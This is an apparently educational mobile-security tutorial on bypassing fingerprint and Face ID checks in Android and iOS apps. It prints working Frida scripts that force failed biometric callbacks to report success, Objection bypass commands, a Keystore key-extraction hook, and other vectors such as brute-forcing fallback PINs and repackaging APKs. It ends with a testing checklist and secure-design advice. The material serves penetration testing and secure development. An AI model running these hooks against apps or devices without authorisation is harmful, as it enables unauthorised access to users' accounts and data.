Authentication Security
🔥 Advanced

Biometric Authentication Bypass

Biometric authentication (fingerprint, face recognition) adds convenience but can be bypassed when improperly implemented. This guide covers common weaknesses and bypass techniques.

OWASP M4: Insecure Authentication

Poor biometric implementation often relies solely on client-side validation, making it trivial to bypass using runtime manipulation tools like Frida.

How Biometric Auth Works

Secure Implementation

  1. User authenticates with biometric
  2. System returns cryptographic key from Keystore/Keychain
  3. Key is used to decrypt local credentials or sign challenge
  4. Signed challenge sent to server for validation
Hard to bypass - requires crypto key

Insecure Implementation

  1. User authenticates with biometric
  2. Callback returns boolean (success/failure)
  3. App checks boolean and proceeds if true
  4. No cryptographic binding to authentication
Easy to bypass - just hook callback

Android Biometric Bypass

BiometricPrompt Callback Bypass

Hook the authentication callback to always return success:

android_biometric_bypass.js
javascript
Java.perform(function() {
    // BiometricPrompt.AuthenticationCallback bypass
    var BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt');
    var AuthenticationCallback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
    var AuthenticationResult = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');
    
    // Find and hook the callback
    AuthenticationCallback.onAuthenticationSucceeded.implementation = function(result) {
        console.log('[+] onAuthenticationSucceeded called');
        this.onAuthenticationSucceeded(result);
    };
    
    AuthenticationCallback.onAuthenticationFailed.implementation = function() {
        console.log('[*] Intercepting onAuthenticationFailed - calling onAuthenticationSucceeded');
        // Create a fake result
        var fakeResult = AuthenticationResult.$new(null, null);
        this.onAuthenticationSucceeded(fakeResult);
    };
    
    AuthenticationCallback.onAuthenticationError.implementation = function(errorCode, errString) {
        console.log('[*] Intercepting onAuthenticationError: ' + errString);
        var fakeResult = AuthenticationResult.$new(null, null);
        this.onAuthenticationSucceeded(fakeResult);
    };
});

Legacy FingerprintManager Bypass

fingerprint_manager_bypass.js
javascript
Java.perform(function() {
    // Legacy FingerprintManager (pre-Android 9)
    var FingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');
    var AuthCallback = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationCallback');
    
    AuthCallback.onAuthenticationSucceeded.implementation = function(result) {
        console.log('[+] Fingerprint success callback');
        this.onAuthenticationSucceeded(result);
    };
    
    AuthCallback.onAuthenticationFailed.implementation = function() {
        console.log('[*] Bypassing fingerprint failure');
        // Call succeeded instead
        this.onAuthenticationSucceeded(null);
    };
    
    // Hook the authenticate method itself
    FingerprintManager.authenticate.implementation = function(crypto, cancel, flags, callback, handler) {
        console.log('[*] FingerprintManager.authenticate intercepted');
        // Immediately call success
        callback.onAuthenticationSucceeded(null);
    };
});

Using Objection

bash
# Connect to app
objection -g com.target.app explore

# Bypass biometric auth
android ui FLAG_SECURE false

# List biometric-related classes
android hooking list classes | grep -i biometric
android hooking list classes | grep -i fingerprint

# Watch authentication methods
android hooking watch class androidx.biometric.BiometricPrompt
android hooking watch class android.hardware.fingerprint.FingerprintManager

iOS Biometric Bypass

LocalAuthentication Framework Bypass

ios_biometric_bypass.js
javascript
// Bypass Touch ID / Face ID
if (ObjC.available) {
    var LAContext = ObjC.classes.LAContext;
    
    // Hook evaluatePolicy:localizedReason:reply:
    var evaluatePolicy = LAContext['- evaluatePolicy:localizedReason:reply:'];
    Interceptor.attach(evaluatePolicy.implementation, {
        onEnter: function(args) {
            console.log('[*] evaluatePolicy called');
            var policy = args[2];
            var reason = ObjC.Object(args[3]);
            console.log('    Policy: ' + policy);
            console.log('    Reason: ' + reason.toString());
            
            // Store the reply block
            this.reply = new ObjC.Block(args[4]);
        },
        onLeave: function(retval) {
            // Call reply block with success
            console.log('[+] Bypassing biometric - returning success');
            if (this.reply) {
                // reply(YES, nil) - success with no error
                this.reply.implementation(true, null);
            }
        }
    });
    
    // Hook canEvaluatePolicy to always return true
    var canEvaluatePolicy = LAContext['- canEvaluatePolicy:error:'];
    Interceptor.attach(canEvaluatePolicy.implementation, {
        onLeave: function(retval) {
            console.log('[+] canEvaluatePolicy - forcing true');
            retval.replace(1);
        }
    });
}

Alternative Bypass Methods

javascript
// More comprehensive iOS bypass
if (ObjC.available) {
    // Method 1: Replace reply block entirely
    var LAContext = ObjC.classes.LAContext;
    
    Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
        onEnter: function(args) {
            var block = new ObjC.Block(args[4]);
            const origImpl = block.implementation;
            
            block.implementation = function(success, error) {
                console.log('[+] Biometric reply intercepted');
                console.log('    Original success: ' + success);
                // Always call with success=true, error=nil
                origImpl(true, null);
            };
        }
    });
    
    // Method 2: Bypass by hooking the result check
    // Find app-specific authentication method
    ObjC.enumerateLoadedClasses({
        onMatch: function(className) {
            if (className.includes('Auth') || className.includes('Biometric')) {
                console.log('[*] Found class: ' + className);
            }
        },
        onComplete: function() {}
    });
}

Objection iOS Bypass

bash
# Connect to app
objection -g com.target.app explore

# Bypass Touch ID / Face ID
ios ui biometrics_bypass

# Watch authentication classes
ios hooking watch class LAContext

# Search for biometric methods
ios hooking search classes biometric
ios hooking search methods authenticate

Bypassing Keychain-Bound Biometrics

Harder to Bypass

When biometrics are properly bound to Keychain/Keystore, the bypass requires extracting the cryptographic material or finding alternative authentication paths.

Android Keystore Bypass Attempts

javascript
Java.perform(function() {
    // Try to bypass crypto requirement
    var KeyStore = Java.use('java.security.KeyStore');
    var Key = Java.use('java.security.Key');
    
    // Hook getKey to return null (may cause crash)
    KeyStore.getKey.implementation = function(alias, password) {
        console.log('[*] KeyStore.getKey: ' + alias);
        return this.getKey(alias, password);
    };
    
    // Monitor Cipher operations
    var Cipher = Java.use('javax.crypto.Cipher');
    Cipher.init.overload('int', 'java.security.Key').implementation = function(mode, key) {
        console.log('[*] Cipher.init with key');
        this.init(mode, key);
    };
    
    // Try to extract key material (usually fails due to hardware backing)
    Key.getEncoded.implementation = function() {
        var encoded = this.getEncoded();
        if (encoded != null) {
            console.log('[+] Key encoded: ' + bytesToHex(encoded));
        }
        return encoded;
    };
});

Alternative Attack Vectors

Find Fallback Auth

Look for PIN/password fallback that may be weaker. Often stored in SharedPreferences or can be brute-forced locally.

Session Persistence

Check if session tokens are stored unencrypted. May be able to reuse them without re-authenticating.

Downgrade Attack

Modify app to disable biometric requirement. Repackage APK without biometric checks.

Time-Based Bypass

Some apps don't re-verify biometrics after initial unlock. Modify device time or keep app in memory.

Testing Methodology

Biometric Security Checklist

  • 1. Identify biometric implementation (callback vs crypto-bound)
  • 2. Test callback bypass with Frida scripts
  • 3. Check for fallback authentication mechanisms
  • 4. Verify server-side validation of biometric auth
  • 5. Test authentication timeout/persistence
  • 6. Check if biometric can be bypassed via UI manipulation
  • 7. Look for debug/test modes that skip auth
  • 8. Test app behavior when biometrics unavailable

Security Comparison

Implementation Bypass Difficulty Notes
Callback-only validation Easy Hook callback, return success
Client-side flag check Easy Modify boolean value
Keystore-bound (software) Medium May extract keys on rooted device
Keystore-bound (TEE/SE) Hard Hardware-backed, need alternative path
Server-validated challenge Very Hard Requires signed challenge from device

Best Practice

Secure biometric implementations bind authentication to cryptographic operations in hardware-backed Keystore/Keychain. The key should only be accessible after successful biometric verification, and the server should validate a signed challenge, not just a boolean success flag.